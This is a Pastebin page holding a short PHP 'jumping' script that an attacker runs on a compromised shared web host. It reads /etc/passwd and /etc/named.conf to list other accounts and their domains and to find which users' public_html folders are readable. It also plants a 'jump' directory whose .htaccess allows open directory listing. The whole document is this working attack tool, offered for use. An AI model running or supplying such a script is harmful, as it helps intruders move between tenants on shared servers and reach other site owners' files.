Advertisement
Tu5b0l3d

Jumping

Dec 28th, 2015
2,914
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.22 KB | None | 0 0
  1. <?php
  2. // Tu5b0l3d
  3. // thx to: IndoXPloit, HNc
  4. // just jumping + domain
  5.  
  6. error_reporting(0);
  7. echo "<h2>Hanya Liat Readable Apa tidak</h2>";
  8. //$us = file_get_contents("/etc/passwd");
  9. $usa = fopen('/etc/passwd','r');
  10. $dir = mkdir('jump', 0777);
  11. $rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
  12. $frr = fopen('jump/.htaccess', 'w');
  13.  
  14. fwrite($frr, $rrrr);
  15. while($us = fgets($usa)){
  16. if($us==""){
  17.     echo "cann't read /etc/passwd";
  18. }
  19. else{
  20. preg_match_all('/(.*?):x:/', $us, $user_byk);
  21.  
  22.     foreach($user_byk[1] as $user){
  23.         $dir1 = "/home/$user/public_html/";
  24.         if(is_readable($dir1)){
  25.            echo "<font color='green'>$dir1 <= Readable</font>";
  26.  
  27.       $domainns = file_get_contents("/etc/named.conf");
  28.       if($domainns==""){
  29.         echo " | Cann't read /etc/named.conf<br>";
  30.       }
  31.       else{
  32.  
  33.       preg_match_all("#/var/named/(.*?).db#", $domainns, $domains);
  34.       foreach($domains[1] as $domain){
  35.        
  36.       $user2 = posix_getpwuid(@fileowner("/etc/valiases/$domain"));
  37.       $user2 = $user2['name'];
  38.       if ($user2=="$user"){
  39.         echo ", domain $domain<br>";
  40.         break;
  41.     }
  42.   }
  43.  
  44. }
  45.        }
  46.         else{
  47.            
  48.         }
  49.  
  50.    }
  51.  
  52. }
  53.  
  54. }
  55.  
  56.  
  57.    ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement